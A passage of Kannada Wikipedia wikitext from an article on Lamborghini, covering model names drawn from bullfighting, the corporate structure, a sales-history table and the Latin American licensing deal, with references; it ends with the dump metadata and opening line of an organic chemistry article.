[[ಲಾಂಛನ]]ವಾಗಿ ಒಂದು ಕೆರಳಿದ [[ಗೂಳಿ]]ಯನ್ನು ಆಯ್ದುಕೊಳ್ಳಲು ನಿರ್ಧರಿಸಿದ.<ref name="Sackey15" /> ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಅಂಕಿತಗಳೊಂದಿಗೆ ಎರಡು ಕಾರುಗಳನ್ನು ತಯಾರಿಸಿದ ನಂತರ, ಪ್ರೇರಣೆಗಾಗಿ ಲಂಬೋರ್ಘಿನಿಯು ಮತ್ತೊಮ್ಮೆ ಗೂಳಿಯ ತಳಿಗಾರನನ್ನು ಭೇಟಿಮಾಡಿದ. ತನ್ನ ಕುಟುಂಬ ಹಾಗೂ ಅವರ ಗೂಳಿಗಳ ಶ್ರೇಣಿಯ ಹೆಸರನ್ನು ಒಂದು ಕಾರಿಗೆ ಇಟ್ಟಿದ್ದು ಕೇಳ್ಪಟ್ಟು ಡಾನ್‌ ಎಡ್ವರ್ಡೊಗೆ ತುಂಬಾ ಹೆಮ್ಮೆಯಾಯಿತು; ಉತ್ಪಾದನೆಗೆ ಒಳಗಾಗಬೇಕಿದ್ದ ನಾಲ್ಕನೇ ಮಿಯುರಾವನ್ನು ಸೆವಿಲ್‌ನಲ್ಲಿನ ಅವನ ಕೃಷಿಕ್ಷೇತ್ರದಲ್ಲಿ ಅವನಿಗಾಗಿ ಅನಾವರಣಗೊಳಿಸಲಾಯಿತು.<ref name="Sackey15" /><ref name="Jolliffe31" /> ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯು ಭವಿಷ್ಯದ ವರ್ಷಗಳಲ್ಲೂ ಗೂಳಿಕಾಳಗವನ್ನು ಆಧಾರವಾಗಿ ಅವಲಂಬಿಸುವುದನ್ನು ಮುಂದುವರೆಸಿತು. ಖ್ಯಾತ [[ಗೂಳಿಹೋರಾಟಗಾರ]]ನಾದ [[ಮನೋಲೀಟ್‌]]ನನ್ನು 1947ರಲ್ಲಿ ಕೊಂದ ಮಿಯುರಾ ಗೂಳಿಯ ಹೆಸರನ್ನು [[ಇಸ್ಲೆರೊ]]ಗೆ ಇಡಲಾಯಿತು. ''ಎಸ್ಪಡಾ'' ಎಂಬುದು [[ಕತ್ತಿ]]ಗಾಗಿರುವ ಒಂದು [[ಸ್ಪ್ಯಾನಿಷ್‌]] ಪದವಾಗಿದ್ದು, ಸ್ವತಃ ಗೂಳಿಹೋರಾಟಗಾರನನ್ನು ಉಲ್ಲೇಖಿಸಲು ಕೆಲವೊಮ್ಮೆ ಅದನ್ನು ಬಳಸಲಾಗುತ್ತದೆ. ಜರಮಾದ ಹೆಸರು ಒಂದು ವಿಶೇಷವಾದ ದ್ವಂದ್ವಾರ್ಥವನ್ನು ಒಳಗೊಂಡಿತ್ತು; ಸ್ಪೇನ್‌ನಲ್ಲಿನ ಐತಿಹಾಸಿಕ ಗೂಳಿಕಾಳಗ ವಲಯಕ್ಕೆ ಮಾತ್ರವೇ ಇದನ್ನು ಉಲ್ಲೇಖಿಸಬೇಕೆಂಬ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದ್ದ ಫೆರುಸ್ಸಿಯೋ, ಇದರಿಂದಾಗಿ ಐತಿಹಾಸಿಕ [[ಜರಮಾ ಮೋಟಾರು ಓಟದ ಪಂದ್ಯದ ಪಥ]]ದೊಂದಿಗೂ ಗೊಂದಲವುಂಟಾಗಬಹುದು ಎಂಬುದರ ಕುರಿತಾಗಿ ಕಳವಳಗೊಂಡಿದ್ದ.<ref name="Jolliffe43" /> [[File:Lamborghini Diablo SV and Countach.jpg|thumb|right|ಡಯಾಬ್ಲೊ (ಹಿನ್ನೆಲೆ) ಮಾದರಿಯು ಒಂದು ಐತಿಹ್ಯದ ಗೂಳಿಗಾಗಿ ಹೆಸರಿಸಲ್ಪಟ್ಟರೆ, ಕೌಂಟಾಕ್‌ (ಮುನ್ನೆಲೆ) ಮಾದರಿಯು ಗೂಳಿಕಾಳಗ ಸಂಪ್ರದಾಯದಿಂದ ಹಿಂದೆ ಸರಿಯಿತು]] 1974ರಲ್ಲಿ ಒಂದು ಗೂಳಿಯ ತಳಿಸೃಷ್ಟಿಯಾದ ನಂತರ [[ಉರಾಕೊ]] ಎಂದು ಹೆಸರಿಟ್ಟ ಮೇಲೆ, ಕೌಂಟಾಕ್‌ನ್ನು ಒಂದು ಗೂಳಿಗೆ ಬದಲಾಗಿ ''ಕೌಂಟಾಕ್‌!'' ಗೋಸ್ಕರವೇ ಹೆಸರಿಡುವ ಮೂಲಕ ಲಂಬೋರ್ಘಿನಿಯು ತನ್ನ ಸಂಪ್ರದಾಯವನ್ನು ಮುರಿದ. ({{pronounced|kunˈtɑtʃ|Ipa-countach.ogg}}), ಓರ್ವ ಸುಂದರ ಹೆಂಗಸನ್ನು ನೋಡಿದ ನಂತರ, ಕಟ್ಟಚ್ಚರಿಯ ಒಂದು ಆಶ್ಚರ್ಯಸೂಚಕವಾಗಿ [[ಪೀಡ್‌ಮಾಂಟೀಸ್‌]] ಪುರುಷರಿಂದ ಇದು ಬಳಸಲ್ಪಡುತ್ತಿತ್ತು.<ref name="lamboregLP500">[http://www.lamborghiniregistry.com/Countach/CountachLP500/ ಕೌಂಟಾಕ್‌ LP500]</ref> [[ನ್ಯೂಸಿಯೊ ಬೆರ್ಟೋನ್‌]] ಎಂಬ ವಿನ್ಯಾಸಕಾರನು ಕೌಂಟಾಕ್‌ನ ಮೂಲಮಾದರಿಯಾದ "ಪ್ರಾಜೆಕ್ಟ್‌ 112"ರ ಮೇಲೆ ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ ತನ್ನ ಕಣ್ಣುನೆಟ್ಟಾಗ ಅಚ್ಚರಿಯಲ್ಲಿ ಈ ಪದವನ್ನು ಉಚ್ಚರಿಸಿದ ಎಂಬುದೊಂದು ದಂತಕಥೆಯೂ ಚಾಲ್ತಿಯಲ್ಲಿದೆ.<ref name="autogenerated1">ಲಾರೆನ್ಸ್‌, "ಕೌಂಟಾಕ್‌ LP400/LP400S"</ref> LM002 ಕ್ರೀಡಾ ಬಳಕೆಯ ವಾಹನ ಮತ್ತು ಸಿಲೂಯೆಟ್ ವಾಹನಗಳು ಈ ಸಂಪ್ರದಾಯಕ್ಕೆ ಅಪವಾದಗಳಾಗಿದ್ದವು. 1982ರಲ್ಲಿ ಬಂದ ಜಾಲ್ಪಾವನ್ನು ಒಂದು ಗೂಳಿ ತಳಿಗಾಗಿ ಹೆಸರಿಸಲಾಯಿತು; ಡಯಾಬ್ಲೊವನ್ನು [[ವೆರಾಗ್ವಾದ ಡ್ಯೂಕ್‌‌]]ನ ಉಗ್ರ ಗೂಳಿಯ ಹೆಸರಿನಲ್ಲಿಡಲಾಯಿತು. ಇದು 1869ರಲ್ಲಿ ಮ್ಯಾಡ್ರಿಡ್‌ನಲ್ಲಿನ "ಎಲ್‌ ಚಿಕೊರೋ" ವಿರುದ್ಧದ ಒಂದು ಮಹಾಕದನದ ಹೋರಾಟಕ್ಕಾಗಿ ಪ್ರಖ್ಯಾತವಾಗಿದ್ದ ಗೂಳಿಯಾಗಿತ್ತು;<ref name="jolliffe90" /><ref name="lambocarsdia" /> [[ಮರ್ಸಿಲ್ಯಾಗೊ]] ಎಂಬುದು 1879ರಲ್ಲಿನ ತನ್ನ ನಿರ್ವಹಣೆಗಾಗಿ "ಎಲ್‌ ಲಗಾರ್ಟಿಜೊ"ನಿಂದ ಪ್ರಾಣವನ್ನು ಕಾಪಾಡಲ್ಪಟ್ಟ ಒಂದು ಐತಿಹ್ಯದ ಗೂಳಿಯಾಗಿತ್ತು; ಗಲ್ಲಾರ್ಡೊವನ್ನು ಸ್ಪ್ಯಾನಿಷ್‌ ಹೋರಾಟದ ಗೂಳಿತಳಿಯ ಐದು ಪೂರ್ವಜ ಜಾತಿಗಳ ಪೈಕಿ ಒಂದಕ್ಕಾಗಿ ಹೆಸರಿಸಲಾಗಿತ್ತು;<ref>{{cite web |url=http://lamborghiniregistry.com/Gallardo/Name.html |title=Gallardo - The Name |publisher=Lamborghiniregistry.com |date=2003-11-22 |accessdate=2010-01-21 |archive-date=2008-03-14 |archive-url=https://web.archive.org/web/20080314194057/http://lamborghiniregistry.com/Gallardo/Name.html |url-status=bot: unknown }}</ref> ಮತ್ತು ಯುವ ಮೆಕ್ಸಿಕನ್‌ ''ಟೊರೆರೊ'' ಆದ ಫೆಲಿಕ್ಸ್‌ ಗಝ್‌ಮನ್‌ನನ್ನು 1943ರಲ್ಲಿ ಸೋಲಿಸಿದ ಗೂಳಿಗಾಗಿ ರೆವೆಂಟನ್‌ ಎಂದು ಹೆಸರಿಸಲಾಗಿತ್ತು. 2008ರ [[ಎಸ್ಟೋಕ್‌]] ಪರಿಕಲ್ಪನೆಯನ್ನು, ಗೂಳಿಕಾಳಗಗಳ ಸಮಯದಲ್ಲಿ ''ಮೆಟಡೋರ್ಸ್‌'' ಗಳಿಂದ ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಬಳಸಲ್ಪಡುತ್ತಿದ್ದ ಕತ್ತಿಯಾದ [[ಎಸ್ಟೋಕ್‌]]ಗಾಗಿ ಹೆಸರಿಸಲಾಯಿತು.<ref name="EdmundsFirstLook">[http://www.edmunds.com/insideline/do/Features/articleId=132648 ಎಡ್ಮಂಡ್ಸ್‌ ಇನ್‌ಸೈಡ್‌ ಲೈನ್‌ - ಲಂಬೋರ್ಘಿನಿ ಎಸ್ಟೋಕ್‌ ಕಾನ್ಸೆಪ್ಟ್‌ ಫಸ್ಟ್‌ ಲುಕ್‌].</ref> ==ಕಾರ್ಪೊರೇಟ್ ಸಂಬಂಧಗಳು== '''ಲಂಬೋರ್ಘಿನಿ ಗ್ರೂಪ್‌‌''' ನ ಭಾಗವಾಗಿ ಲಂಬೋರ್ಘಿನಿಯನ್ನು ರೂಪುಗೊಳಿಸಲಾಗಿದೆ. ಇದರ ಹಿಡುವಳಿ ಕಂಪನಿಯ ಹೆಸರು '''ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ ಹೋಲ್ಡಿಂಗ್‌ S.p.''' '''A.''' ಎಂಬುದಾಗಿದ್ದು, ಅದರೊಂದಿಗೆ ಮೂರು ಪ್ರತ್ಯೇಕ ಕಂಪನಿಗಳಿವೆ. ಅವುಗಳೆಂದರೆ: '''ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ S.p.''' '''A.''' , ಇದು ಕಾರುಗಳ ತಯಾರಕ; '''ಮೊಟಾರಿ ಮಾರಿನಿ ಲಂಬೋರ್ಘಿನಿ S.p.''' '''A.''' , ಇದು ಸಾಗರ ಸಂಬಂಧಿ ಎಂಜಿನ್‌ಗಳ ತಯಾರಕ; ಮತ್ತು '''ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ ಆರ್ಟಿಮಾರ್ಕಾ S.p.''' '''A.''' , ಇದು ಪರವಾನಗಿಯ ಮತ್ತು ಸರಕು ವ್ಯಾಪಾರಸ್ಥ ಕಂಪನಿಯಾಗಿದೆ.<ref name="fundinguniverse" /> ಯಂತ್ರದೋಣಿ ಓಟದ ಪಂದ್ಯದಲ್ಲಿ, ಗಮನಾರ್ಹವಾಗಿ [[ವಿಶ್ವದ ಸಾಗರೋತ್ತರ ಸರಣಿ]]ಯ ವರ್ಗ 1ರಲ್ಲಿ ಬಳಸಲಾಗುವ ಒಂದು ಬೃಹತ್‌ V12 ಸಾಗರಸಂಬಂಧಿ ಎಂಜಿನ್‌ ಬ್ಲಾಕ್‌ನ್ನು ಮೊಟಾರಿ ಮಾರಿನಿ ಲಂಬೋರ್ಘಿನಿಯು ತಯಾರಿಸುತ್ತದೆ. ಸರಿಸುಮಾರು....{{convert|940|hp|abbr=on}}ನಷ್ಟಿರುವ ಒಂದು ಉತ್ಪಾದನೆಯೊಂದಿಗಿನ ಸರಿಸುಮಾರು....{{convert|8171|cc|0|abbr=on}}ನಷ್ಟನ್ನು ಈ ಎಂಜಿನ್‌ ಪಲ್ಲಟಿಸುತ್ತದೆ.<ref>{{cite web |url=http://www.class1uk.co.uk/engine.php |title=Introducing the Class 1 Championship&nbsp;— The Engines}}</ref> ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ ಆರ್ಟಿಮಾರ್ಕಾವು ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿಯ ಹೆಸರು ಹಾಗೂ ಚಿತ್ರವನ್ನು ಇತರ ಕಂಪನಿಗಳ ಉತ್ಪನ್ನಗಳು ಹಾಗೂ ಬಿಡಿಭಾಗಗಳ ಮೇಲಿನ ಬಳಕೆಗಾಗಿ ಪರವಾನಗಿ ನೀಡುತ್ತದೆ. ವೈವಿಧ್ಯಮಯ ಸಿದ್ಧ ಉಡುಪು ವಸ್ತುಗಳು, ಹಲವಾರು [[ಮಾದರಿ ಕಾರು]] ಸರಣಿಗಳು, ಮತ್ತು [[ASUS]] ಲಂಬೋರ್ಘಿನಿ VX ಸರಣಿಯ [[ನೋಟ್‌ಬುಕ್‌ ಕಂಪ್ಯೂಟರ್‌]]ಗಳು ಇದರ ಉದಾಹರಣೆಗಳಲ್ಲಿ ಸೇರಿವೆ. ===ಮಾರಾಟದ ಇತಿಹಾಸ=== {| class="wikitable" style="font-size:95%" |- ! rowspan="2"| ವರ್ಷ ! colspan="50"| ಮಾರಾಟವಾದ ಕಾರುಗಳ ಸಂಖ್ಯೆ |- style="font-size:65%;text-align:right;" | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px" colspan="2"| 500 | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px" colspan="2"| 1,000 | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px" colspan="2"| 1,500 | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px" colspan="2"| 2,000 | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px;" colspan="2"| | style="width:20px" colspan="2"| 2,500 |- ! colspan="51"|ಫೆರುಸ್ಸಿಯೋ ಲಂಬೋರ್ಘಿನಿ (1963–1972) |- !1968<ref name="Jolliffe40" /> | colspan="6" style="background:cornsilk;text-align:right"|'''353''' | colspan="44" style="background:whitesmoke"|&nbsp; |- ! colspan="51"|ಜಾರ್ಜಸ್‌-ಹೆನ್ರಿ ರೊಸೆಟ್ಟಿ ಮತ್ತು ರಿನೀ ಲೀಮರ್‌ (1972-1977) |- ! colspan="51"|ಆಸ್ತಿ ನಿರ್ವಾಹಕತ್ವ (1977-1984) |- ! colspan="51"|ಪ್ಯಾಟ್ರಿಕ್‌ ಮಿಮ್ರಾನ್‌ (1984-1987) |- ! colspan="51"|ಕ್ರಿಸ್ಲರ್‌ ಕಾರ್ಪೊರೇಷನ್‌ (1987-1994) |- !1991<ref name="fundinguniverse" /> | colspan="12" style="background:cornsilk;text-align:right"|'''673''' | colspan="38" style="background:whitesmoke"|&nbsp; |- !1992<ref name="fundinguniverse" /> | colspan="2" style="background:cornsilk;text-align:right"|'''166''' | colspan="49" style="background:whitesmoke"|&nbsp; |- !1993<ref name="fundinguniverse" /> | colspan="4" style="background:cornsilk;text-align:right"|'''215''' | colspan="46" style="background:whitesmoke"|&nbsp; |- ! colspan="51"|ಮೆಗಾಟೆಕ್‌ (1994-1995) |- ! colspan="51"|V'ಪವರ್‌ ಮತ್ತು ಮೈಕಾಮ್‌ ಸೆಡ್ಕೊ (1995-1998) |- !1996<ref name="carpages"> {{Citation |title=Lamborghini Reports Record Figures (sold) |url=http://www.carpages.co.uk/lamborghini/lamborghini_reports_record_figures_21_02_04.asp |date=21 February 2004 }}</ref> | colspan="4" style="background:cornsilk;text-align:right"|'''211''' | colspan="46" style="background:whitesmoke"|&nbsp; |- !1997<ref name="fundinguniverse" /> | colspan="4" style="background:cornsilk;text-align:right"|'''209''' | colspan="46" style="background:whitesmoke"|&nbsp; |- ! colspan="51"|AUDI AG (1998ರಿಂದ ಇಂದಿನವರೆಗೆ) |- !1999<ref name="wvag1999"> {{Citation |title=Volkswagen AG Annual Report 1999 |url=http://www.volkswagenag.com/vwag/vwcorp/info_center/en/publications/2000/03/Annual_Report_1999.-bin.acq/qual-BinaryStorageItem.Single.File/VW_AR_1999_e.pdf|format=PDF}}ಪುಟ 21, "ಸೇಲ್ಸ್‌ ಟು ದಿ ಡೀಲರ್‌ ಆರ್ಗನೈಸೇಷನ್‌ ಬೈ ಪ್ರಾಡಕ್ಟ್‌ ಲೈನ್‌"</ref> | colspan="4" style="background:cornsilk;text-align:right"|'''264''' | colspan="46" style="background:whitesmoke"|&nbsp; |- !2000<ref name="wvag2000"> {{Citation |title=Volkswagen AG Annual Report 2000 |url=http://www.volkswagenag.com/vwag/vwcorp/info_center/en/publications/2001/03/Annual_Report_2000.-bin.acq/qual-BinaryStorageItem.Single.File/VW_GB_2000_e.pdf|format=PDF}}</ref> | colspan="4" style="background:cornsilk;text-align:right"|'''291''' | colspan="46" style="background:whitesmoke"|&nbsp; |- !2001<ref name="wvag2001"> {{Citation |title=Volkswagen AG Annual Report 2001 |url=http://www.volkswagenag.com/vwag/vwcorp/info_center/en/publications/2002/03/annual_report_2001.-bin.acq/qual-BinaryStorageItem.Single.File/20020312_GB_2001_e.pdf|format=PDF}}</ref> | colspan="4" style="background:cornsilk;text-align:right"|'''280''' | colspan="46" style="background:whitesmoke"|&nbsp; |- !2002<ref name="wvag2002"> {{Citation |title=Volkswagen AG Annual Report 2002 |url=http://www.volkswagenag.com/vwag/vwcorp/info_center/en/publications/2003/03/annual_report_2002.-bin.acq/qual-BinaryStorageItem.Single.File/vw_gb_2002_en.pdf|format=PDF}}</ref> | colspan="8" style="background:cornsilk;text-align:right"|'''442''' | colspan="42" style="background:whitesmoke"|&nbsp; |- !2003<ref name="audiag20042003">{{Citation|title=Audi Facts and Figures 2004|url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0008.File.pdf/pdf_par_0066_file.pdf|format=PDF|access-date=2010-03-03|archive-date=2012-08-03|archive-url=https://www.webcitation.org/69dEC2fGn?url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0008.File.pdf/pdf_par_0066_file.pdf|url-status=dead}}</ref> | colspan="26" style="background:cornsilk;text-align:right"|'''1,357''' | colspan="24" style="background:whitesmoke"|&nbsp; |- !2004<ref name="audiag20042003" /> | colspan="32" style="background:cornsilk;text-align:right"|'''1,678''' | colspan="18" style="background:whitesmoke"|&nbsp; |- !2005<ref name="audiag2005">{{Citation|title=Audi Facts and Figures 2005|url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0007.File.pdf/pdf_par_0202_file.pdf|format=PDF|access-date=2010-03-03|archive-date=2012-08-03|archive-url=https://www.webcitation.org/69dExRDz9?url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0007.File.pdf/pdf_par_0202_file.pdf|url-status=dead}}</ref> | colspan="28" style="background:cornsilk;text-align:right"|'''1,436''' | colspan="22" style="background:whitesmoke"|&nbsp; |- !2006<ref name="audiag2006">{{Citation|title=Audi Facts and Figures 2006|url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0006.File.pdf/pdf_par_0322_file.pdf|format=PDF|access-date=2010-03-03|archive-date=2012-08-03|archive-url=https://www.webcitation.org/69dFIHgAd?url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0006.File.pdf/pdf_par_0322_file.pdf|url-status=dead}}</ref> | colspan="40" style="background:cornsilk;text-align:right"|'''2,095''' | colspan="10" style="background:whitesmoke"|&nbsp; |- !2007<ref name="audiag2007">{{Citation|title=Audi Facts and Figures 2007|url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0005.File.pdf/pdf_0803_par_0012.pdf|format=PDF|access-date=2010-03-03|archive-date=2012-08-03|archive-url=https://www.webcitation.org/69dFYpWqA?url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0005.File.pdf/pdf_0803_par_0012.pdf|url-status=dead}}</ref> | colspan="50" style="background:cornsilk;text-align:right"|'''2,580''' |- !2008<ref name="audiag2008">{{Citation|title=Audi Facts and Figures 2008|url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0010.File.pdf/audi_fuz_2008_en.pdf|format=PDF|access-date=2010-03-03|archive-date=2012-08-03|archive-url=https://www.webcitation.org/69dGC6mEq?url=http://www.audi.com/etc/medialib/ngw/company/investor_relations/pdf/finanzberichte/fakten_und_zahlen.Par.0010.File.pdf/audi_fuz_2008_en.pdf|url-status=dead}}</ref> | colspan="48" style="background:cornsilk;text-align:right"|'''2,424''' | colspan="2" style="background:whitesmoke"|&nbsp; |- !2009 <small>(ಮೊದಲ ಅರ್ಧಭಾಗ)</small><ref name="edmunds09">{{cite web|url=http://www.edmunds.com/insideline/do/News/articleId=153909|title=Not a Bull Market: Lamborghini Sales and Profits Plunge|last=Lienert|first=Paul|date=2009-07-31|accessdate=2009-08-19}}</ref> | colspan="16" style="background:cornsilk;text-align:right"|'''825''' | colspan="34" style="background:gray"|&nbsp; |} ===ಲ್ಯಾಟಿನ್‌ ಅಮೆರಿಕಾದ ಲಂಬೋರ್ಘಿನಿ === '''ಆಟೋಮೊವೈಲ್ಸ್‌ ಲಂಬೋರ್ಘಿನಿ ಲ್ಯಾಟಿನೋ ಅಮೆರಿಕಾ S.A.''' ({{lang-en|Lamborghini Automobiles of Latin America S.A.}}) ಎಂಬುದು ಒಂದು [[ಮೆಕ್ಸಿಕನ್‌]] ಕಂಪನಿಯಾಗಿದ್ದು, ಇಟಲಿಯ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯಿಂದ ಪಡೆದ ಪರವಾನಗಿಯ ಅಡಿಯಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿಯ ಹೆಸರನ್ನು ಹೊಂದಿರುವ ಕಾರುಗಳನ್ನು ನಿರ್ಮಿಸುತ್ತದೆ. ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ ಕಂಪನಿಯು ಇಂಡೋನೇಷಿಯಾದ ಕಂಪನಿಯಾದ ಮೆಗಾಟೆಕ್‌ನ ಮಾಲೀಕತ್ವದಲ್ಲಿ ಮತ್ತು ಮೈಕೇಲ್‌ ಕಿಂಬರ್ಲಿಯ ಮಾರ್ಗದರ್ಶನದಡಿಯಲ್ಲಿ ಇದ್ದಾಗ, 1995ರಲ್ಲಿ ಪರವಾನಗಿಯ ಒಪ್ಪಂದವನ್ನು ಮಾಡಿಕೊಳ್ಳಲಾಗಿತ್ತು. ಲಂಬೋರ್ಘಿನಿಗೆ ಸಂಬಂಧಿಸಿದ ವ್ಯಾಣಿಜ್ಯ ಸರಕನ್ನು ಮಾರಾಟ ಮಾಡಲು ಮೆಕ್ಸಿಕನ್‌ ಸಮೂಹಕ್ಕೆ ಅವಕಾಶ ಮಾಡಿಕೊಡಲಾಯಿತು. [[ಮೆಕ್ಸಿಕನ್‌ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು]], ಮತ್ತು/ಅಥವಾ [[ಲ್ಯಾಟಿನೋ ಅಮೆರಿಕಾ]]"ದ ಸೀಮೆಯೊಳಗಿನ ತನ್ನದೇ "ಸ್ವಂತ ಮರುವಿನ್ಯಾಸಗಾರಿಕೆ"ಯೊಂದಿಗೆ ತಯಾರಾದ ಅಥವಾ ಜೋಡಣೆಯಾದ ವಾಹನಗಳ ವಿಶ್ವವ್ಯಾಪಿ ಉತ್ತೇಜನ ಹಾಗೂ ಮಾರಾಟವನ್ನು ಕೈಗೊಳ್ಳಲು" ಅವುಗಳಿಗೆ ಅನುವುಮಾಡಿಕೊಟ್ಟ ಒಂದು ಖಂಡವವನ್ನು ಈ ಒಪ್ಪಂದವು ಒಳಗೊಂಡಿತ್ತು.<ref>{{cite web |url=http://www.e-lamborghini.com/htm2/frames_dl4.htm |title=Lamborghini |publisher=E-lamborghini.com |date= |accessdate=2009-10-18 |archive-date=2009-09-25 |archive-url=https://web.archive.org/web/20090925172221/http://www.e-lamborghini.com/htm2/frames_dl4.htm |url-status=dead }}</ref><ref>{{cite web |url=http://www.e-lamborghini.com/htm2/frames_dl2.htm |title=Lamborghini |publisher=E-lamborghini.com |date= |accessdate=2009-10-18 |archive-date=2006-05-25 |archive-url=https://web.archive.org/web/20060525002139/http://www.e-lamborghini.com/htm2/frames_dl2.htm |url-status=dead }}</ref> ಆಟೋಮೊವೈಲ್ಸ್‌ ಲಂಬೋರ್ಘಿನಿಯು ಎರೋಸ್‌ ಹಾಗೂ ಕೋಟ್ಲ್‌ ಎಂದು ಕರೆಯಲಾಗುವ [[ಡಯಾಬ್ಲೊ]] ಎರಡು ಪುನರ್‌ನಿರ್ಮಿತ ಆವೃತ್ತಿಗಳನ್ನು, ತನ್ನ ಪರವಾನಗಿಯ ಒಪ್ಪಂದದ ಅಡಿಯಲ್ಲಿ ತಯಾರಿಸಿದೆ. ಕಂಪನಿಯು ಪ್ರಸ್ತುತ ಜೋರ್ಜ್‌ ಆಂಟೋನಿಯೋ ಫರ್ನಾಂಡೆಝ್‌ ಗಾರ್ಸಿಯಾ ನೇತೃತ್ವದಲ್ಲಿ ನಡೆಯುತ್ತಿದೆ.<ref name="lambocarscoatl">{{cite web |url=http://www.lambocars.com/archive/diablo/special.htm |title=Lamborghini Diablo Coatl Special |publisher=Lambocars.com |date=2003-05-04 |accessdate=2009-10-18 |archive-date=2009-12-03 |archive-url=https://web.archive.org/web/20091203055429/http://www.lambocars.com/archive/diablo/special.htm |url-status=dead }}</ref> ==ಟಿಪ್ಪಣಿಗಳು== {{reflist|2}} ==ಅಡಿಟಿಪ್ಪಣಿಗಳು== <references group="Notes"></references> ==ಆಕರಗಳು== ===ಪುಸ್ತಕಗಳು=== *{{cite book | last1 = Jolliffe | first1 = David | last2 = Willard | first2 = Tony | title = Lamborghini: Forty Years | publisher = MotorBooks/MBI Publishing Company | year = 2004 | doi = 10.1007/b62130 | isbn = 0760319456 |url = https://books.google.com/books?id=d8GxQqUQqrsC&dq=Lamborghini+bullfighting&source=gbs_navlinks_s}} *{{cite book | last = Sackey | first = Joe | title = The Lamborghini Miura Bible | publisher = Veloce Publishing Ltd | year = 2008 | isbn = 1845841964 | edition = Illustrated |url = https://books.google.com/books?id=B1dadHSJMBYC&dq=ferruccio+lamborghini&hl=es&source=gbs_navlinks_s}} *{{cite book | last = Lawrence | first = Mike | title = A-Z of sports cars, 1945-1990 (A-Z Series) | publisher = MotorBooks/MBI Publishing Company | year = 1996 | isbn = 1870979818 | edition = Illustrated |url = https://books.google.com/books?id=glKW-Kh-lmcC&dq=lamborghini+countach&as_brr=3&source=gbs_navlinks_s}} ==ಹೊರಗಿನ ಕೊಂಡಿಗಳು== {{Commons category|Lamborghini}} *[http://www.lamborghini.com/ ಆಟೋಮೊಬಿಲಿ ಲಂಬೋರ್ಘಿನಿ S.p.][http://www.lamborghini.com/ A.] *[http://www.e-lamborghini.com/ ಆಟೋಮೊವೈಲ್ಸ್‌ ಲಂಬೋರ್ಘಿನಿ ಲ್ಯಾಟಿನೋ ಅಮೆರಿಕಾ S.A.] [[ವರ್ಗ:ಲಂಬೋರ್ಘಿನಿ]] [[ವರ್ಗ:ಆಡಿ]] [[ವರ್ಗ:ವೋಕ್ಸ್‌ವ್ಯಾಗನ್‌]] [[ವರ್ಗ:ಬೊಲೊಗ್ನಾದಲ್ಲಿ ನೆಲೆಗೊಂಡಿರುವ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:1963ರಲ್ಲಿ ಸ್ಥಾಪನೆಗೊಂಡ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ಕಾರು ತಯಾರಕರು]] [[ವರ್ಗ:ಕ್ರೀಡಾ ಕಾರು ತಯಾರಕರು]] [[ವರ್ಗ:ಫಾರ್ಮುಲಾ ಒನ್‌ ಎಂಜಿನ್‌ ತಯಾರಕರು]] [[ವರ್ಗ:ಸಾಗರ ಸಂಬಂಧಿ ಎಂಜಿನ್‌ ತಯಾರಕರು]] [[ವರ್ಗ:ಇಟಲಿಯ ಮೋಟಾರು ವಾಹನ ತಯಾರಕರು]] [[ವರ್ಗ:ಇಟಲಿಯ ಬ್ರಾಂಡುಗಳು]] 9bjpr6y91kymqat2wo1kwomtrqoqwbq ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ 0 22737 1116493 1065774 2022-08-23T14:44:23Z CommonsDelinker 768 ಚಿತ್ರ Girl_with_styrofoam_swimming_board.jpgರ ಬದಲು ಚಿತ್ರ Girl_with_swimming_board.jpg ಹಾಕಲಾಗಿದೆ. wikitext text/x-wiki [[ಚಿತ್ರ:Ch4-structure.png|thumb|right|400px|ಅತಿ ಸರಳ ಹೈಡ್ರೋಕಾರ್ಬನ್‌ ಸಂಯುಕ್ತವಾದ ಮೀಥೇನ್‌ ಅಣುವಿನ ಸಂರಚನೆ ]] 